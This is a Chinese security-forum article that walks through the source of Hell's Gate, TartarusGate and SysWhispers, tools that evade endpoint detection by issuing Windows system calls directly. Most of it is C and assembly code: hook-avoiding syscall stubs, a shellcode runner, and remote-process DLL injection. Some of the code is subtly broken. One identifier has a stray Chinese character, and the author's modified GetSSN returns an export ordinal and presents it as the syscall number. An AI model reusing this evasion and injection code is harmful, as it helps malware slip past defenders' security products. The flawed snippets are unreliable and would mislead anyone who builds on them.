首页
社区
课程
招聘
[原创]免杀动态对抗之syscall[源码分析]
2024-6-3 16:38 3075

[原创]免杀动态对抗之syscall[源码分析]

2024-6-3 16:38
3075

基础概念

操作系统分为内核和应用层,从R0-R3,R0是内核,R3是用户层。
windows中日常调用的api都是R3抽象出来的接口,虽然win32 api他也是R3接口,但是由于windows的设计思想就是高度封装,所以实际上的R3 api是ntdll.dll中的函数,过程如下图。
我们调用的win32 api都是kernel.dll/user32.dll中的函数,最终都要经过ntdll.dl

我们逆向一个函数用作学习,选定CreateThread,ntdll中的是NtCreateThread
image.png
可以看到首先给eax赋值(这里是系统调用号SSN system-call-number),然后再执行syscall

1
2
3
4
5
6
7
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00                mov     eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03                         jnz     short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F614 C3                            retn

观察相邻函数可以发现SSN是递增的

1
2
3
4
5
6
7
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00                mov     eax, 4Fh ; 'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01       test    byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03                         jnz     short loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05                         syscall                                 ; Low latency system call
.text:000000018009F634 C3                            retn

绕过EDR

EDR的工作原理是,对WINDOWS API进行hook。
一般都是inline hook,即把函数的开头地址值改成jmp xxxxxxx(hook函数地址)
既然知道了syscall的调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对api的hook

以下开始学习不同项目对应的手法

HellsGate 地狱之门

项目地址:https://github.com/am0nsec/HellsGate/
比较古老的项目,效果不好,但是有学习价值
直接跟进main.c,调用RtlGetThreadEnvironmentBlock,作用是获取TEB(fs:0x30/0x60),然后获取PEB

1
2
3
4
5
6
7
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}
1
2
3
4
INT wmain() {
    // 获取PEB
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

获取ntdll.dll,这里是测试出来的,win10的peb.LoaderData.InMemoryOrderModuleList.Flink->Flink一般是kernel.dll,0x10偏移是ntdll.dll

1
2
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

获取导出表

1
2
3
4
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
    return 0x01;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
    // Get DOS header
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }
 
    // Get NT headers
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }
 
    // Get the EAT
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}

代码自己设置了一个结构体_VX_TABLE,用于存放取出的nt函数的地址

1
2
3
4
5
6
7
8
9
10
11
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

然后用api hash,装载这些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
    return 0x1;
 
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
    return 0x1;
 
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
    return 0x1;
 
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
    return 0x1;

获取函数地址的函数,其中使用djb2算法进行api hash计算。
会检测函数地址位置的字节序列是否正常,比如如果在地址处检测到了0x0f 0x05 syscall0xc3 ret,正常函数不会是这样的,说明可能被hook
正常的序列:

1
2
MOV R10, RCX
MOV RCX, <SSN>

或者

1
2
3
mov     r10, rcx
mov     eax, <SSN>
syscall

还会获取系统调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
 
    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        // 获取函数名
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        // djb2 哈希算法
        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
            // 赋值函数地址
            pVxTableEntry->pAddress = pFunctionAddress;
 
            // 检测函数是否被hook(检查原有字节序列)
            // Quick and dirty fix in case the function has been hooked
            WORD cw = 0;
            while (TRUE) {
                // 0x0f 0x05 syscall
                // check if syscall, in this case we are too far
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;
 
                // check if ret, in this case we are also probaly too far
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;
 
                // First opcodes should be :
                //    MOV R10, RCX
                //    MOV RCX, <syscall>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    // 根据字节序列获取SSN,存储到pVxTableEntry中
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry中->wSystemCall = (high << 8) | low;
                    break;
                }
 
                cw++;
            };
        }
    }
 
    return TRUE;
}

最后main调用了payload函数,开始执行shellcode,也是分配内存+写权限+内存限制+线程创建执行shellcode+NtWaitForSingleObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
BOOL Payload(PVX_TABLE pVxTable) {
    NTSTATUS status = 0x00000000;
    // 存放shellcode
    char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
 
    // Allocate memory for the shellcode
    PVOID lpAddress = NULL;
    SIZE_T sDataSize = sizeof(shellcode);
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
 
    // Write Memory
    VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
 
    // Change page permissions
    ULONG ulOldProtect = 0;
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
 
    // Create thread
    HANDLE hHostThread = INVALID_HANDLE_VALUE;
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
 
    // Wait for 1 seconds
    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;
    HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
    status = HellDescent(hHostThread, FALSE, &Timeout);
 
    return TRUE;
}

其中的核心手搓syscall,由外部asm文件提供

1
2
3
4
5
/*--------------------------------------------------------------------
  External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
    wSystemCall DWORD 000h
 
.code
// 给wSystemCall赋值SSN
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx
        ret
    HellsGate ENDP
// 手搓syscall
    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall
 
        syscall
        ret
    HellDescent ENDP
end

总结别人的总结:

  • 从内存中已经加载的ntdll.dll模块中通过遍历解析导出表,定位函数地址,再获取系统调用号
  • 实现了动态获取 SSN
  • 需要一块干净的内存 ntdll 模块(没有被hook),否则无法正常获取 SSN(防hook检测,字节序列检测)
  • 直接最纯粹的系统调用

TartarusGate 地狱之门进阶版

https://github.com/trickster0/TartarusGate/
其实之前还有一个光环之门,但是这个TartarusGate完美改进了,就直接用这个说吧
这是对地狱之门的改进,因为地狱之门在不干净的ntdll中无法动态获取SSN,所以光环之门进行了改进。

当我们所需要的 Nt 函数被 hook 时,它相邻的 Nt 函数可能没有被 hook,因为 EDR 不可能 hook 所有的 Nt 函数,总有一些不敏感的 Nt 函数没有被 hook,这样我们从我们需要的 Nt 函数出发,向上或者向下寻找,找到没有被 hook 的 Nt 函数,然后它的 SSN 加上或减去步数就得到了我们需要的 SSN。

看下图,ZwMapViewOfSection 显然被 hook 了,因为它开头是jmp <offset>指令,而不是 mov r10, rcx,但是相邻的 ZwSetInformationFile 和 NtAccessCheckAndAuditAlarm 却是干净的,他们的系统调用号分别是0x27和0x29。因此,确定 ZwMapViewOfSection 编号非常简单 ,只需查看邻居编号并相应地进行调整即可。如果邻居也被 hook 了,那么检查邻居的邻居,以此类推
image.png
这里我们查看他重点实现查看邻居的代码
检测到0xe9 jmp时(第一第二条,做了两次判断,因为不只是第一条命令会被hook),开始向上向下查看邻居.
预先设置了down和up的值为正负32,这是作者手动计算的,然后根据这个区间进行上下邻居的查看。
可以手动在ntdll里面数一下,正好差0x20,即32.由于各个API本质不同就是传入SSN不同,所以这里可以固定区间检查上下邻居

1
2
.text:000000018009F600 4C 8B D1                      mov     r10, rcx                        ; NtCreateThread
.text:000000018009F620 4C 8B D1                      mov     r10, rcx                        ; NtIsProcessInJob
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
    //if hooked check the neighborhood to find clean syscall
    // 0xe9 jmp
    if (*((PBYTE)pFunctionAddress) == 0xe9) {
        for (WORD idx = 1; idx <= 500; idx++) {
            // check neighboring syscall down
            // 4C 8B D1         mov r10, rcx    ; NtCreateThread
            // B8 4E 00 00 00   mov eax, 4Eh    ; 'N'
            if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
                && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
                pVxTableEntry->wSystemCall = (high << 8) | low - idx;
 
                return TRUE;
            }
            // check neighboring syscall up
            if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
                && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
                && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
                && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
                && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
                && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
                BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
                BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
                pVxTableEntry->wSystemCall = (high << 8) | low + idx;
 
                return TRUE;
            }
 
        }
        return FALSE;
    }
if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
    for (WORD idx = 1; idx <= 500; idx++) {
        // check neighboring syscall down
        if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
            pVxTableEntry->wSystemCall = (high << 8) | low - idx;
            return TRUE;
        }
        // check neighboring syscall up
        if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
            && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
            && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
            && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
            && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
            && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
            BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
            BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
            pVxTableEntry->wSystemCall = (high << 8) | low + idx;
            return TRUE;
        }
 
    }
    return FALSE;
}

手搓syscall比地狱之门多加了一点nop做混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
 
.data
    wSystemCall DWORD 000h
 
.code
    HellsGate PROC
        nop
        mov wSystemCall, 000h
        nop
        mov wSystemCall, ecx
        nop
        ret
    HellsGate ENDP
 
    HellDescent PROC
        nop
        mov rax, rcx
        nop
        mov r10, rax
        nop
        mov eax, wSystemCall
        nop
        syscall
        ret
    HellDescent ENDP
end

GetSSN 遍历ntdll导出函数

打印所有zw开头的(内核系统调用接口)函数,也可以改成nt(用户态系统调用接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int GetSSN()
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return 1;
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
            printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
            Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
        }
    }
    // 输出内核函数对应的系统调用号
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
        cout << "index:" << index  << ' ' << iter->second << endl;
        index += 1;
    }
}

以上代码把所有提取出来的内核函数存放到NT_TABLE中,然后输出,这里我稍微魔改一下改成根据传入的api hash参数,寻找对应的api hash的调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
 
// 哈希函数,用于计算API名称的哈希值
unsigned long djb2(const char* str)
{
    unsigned long hash = 5381;
    int c;
 
    while (c = *str++)
        hash = ((hash << 5) + hash) + c; // hash * 33 + c
 
    return hash;
}
 
// 修改后的GetSSN函数
int GetSSN(unsigned long api_hash)
{
    std::map<int, string> Nt_Table;
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
 
    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    // NTDLL
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;
 
    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return -1; // 返回-1表示错误
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
 
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        if (djb2(pczFunctionName) == api_hash) {
            // 找到匹配的API,返回其序号
            return pwAddressOfNameOrdinales[cx];
        }
    }
    return -1; // 如果没有找到匹配的API,返回-1
}
 
int main()
{
    // 假设我们要查找的API名称的哈希值
    // 最好直接hash硬编码
    unsigned long api_hash = djb2("NtCreateFile");
    int syscall_number = GetSSN(api_hash);
    if (syscall_number != -1)
    {
        std::cout << "Found syscall number: " << syscall_number << std::endl;
    }
    else
    {
        std::cout << "API not found." << std::endl;
    }
    return 0;
}

SysWhispers

项目地址:https://github.com/jthuraisamy/SysWhispers
这是直接系统调用的框架。

  • 直接系统调用:手搓syscall asm
  • 间接系统调用:使用用户态api,如kernel32.dll中的api

系统调用号SSN在不同版本的系统下是不一样的,有技术博客已经帮我们整理好了

这个项目相当于一个脚手架,会帮我们生成asm文件和头文件,需要在项目中包含,才能syscall
安装:

1
2
3
4
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help

使用:

1
2
3
4
5
6
7
8
9
10
11
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
 
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common
 
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
 
# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X

上手

1
2
3
4
5
6
7
8
9
10
11
12
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019
 
SysWhispers: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.asm
        syscalls.h

打开项目,导入生成的asm和头文件
编写demo
未syscall时需要使用kernel32.dll中的API

1
2
3
4
5
6
7
8
9
10
#include <Windows.h>
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}

syscall后可以使用nt函数进行替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
 
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
     
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

头文件存放了nt函数的签名结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
EXTERN_C NTSTATUS NtCreateThreadEx(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PVOID StartRoutine,
    IN PVOID Argument OPTIONAL,
    IN ULONG CreateFlags,
    IN SIZE_T ZeroBits,
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
 
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID * BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect);
 
EXTERN_C NTSTATUS NtWriteVirtualMemory(
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    IN PVOID Buffer,
    IN SIZE_T NumberOfBytesToWrite,
    OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

asm文件中,对应函数会先查询版本,然后再跳转到对应的代码块进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
NtAllocateVirtualMemory PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX:               ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtAllocateVirtualMemory_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtAllocateVirtualMemory_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtAllocateVirtualMemory_Check_10_0_XXXX
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp word ptr [rax+120h], 10240
    je  NtAllocateVirtualMemory_SystemCall_10_0_10240
    cmp word ptr [rax+120h], 10586
    je  NtAllocateVirtualMemory_SystemCall_10_0_10586
    cmp word ptr [rax+120h], 14393
    je  NtAllocateVirtualMemory_SystemCall_10_0_14393
    cmp word ptr [rax+120h], 15063
    .........
    cmp word ptr [rax+120h], 19043
    je  NtAllocateVirtualMemory_SystemCall_10_0_19043
    jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0015h
    jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
    mov eax, 0018h
    jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtAllocateVirtualMemory_Epilogue:
    mov r10, rcx
    syscall
    ret
NtAllocateVirtualMemory ENDP

以上都是模板文件,最后核心代码还是直接调用syscall,这样的特征比较明显,所以会有接下来的第二版本和第三版本项目

SysWhispers2(random 间接调用)

项目地址:https://github.com/jthuraisamy/SysWhispers2
使用方法和第一版一样,只不过内部的实现机制发生了改变
用demo查看一下内部机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
 
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
 
SysWhispers2: Why call the kernel when you can whisper?
 
Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.std.x86.asm
        syscallsstubs.rnd.x86.asm
        syscallsstubs.std.x86.nasm
        syscallsstubs.rnd.x86.nasm
        syscallsstubs.std.x86.s
        syscallsstubs.rnd.x86.s
        syscallsinline.std.x86.h
        syscallsinline.rnd.x86.h
        syscallsstubs.std.x64.asm
        syscallsstubs.rnd.x64.asm
        syscallsstubs.std.x64.nasm
        syscallsstubs.rnd.x64.nasm
        syscallsstubs.std.x64.s
        syscallsstubs.rnd.x64.s
        syscallsinline.std.x64.h
        syscallsinline.rnd.x64.h

其中出现的nasm,是适配gcc的文件
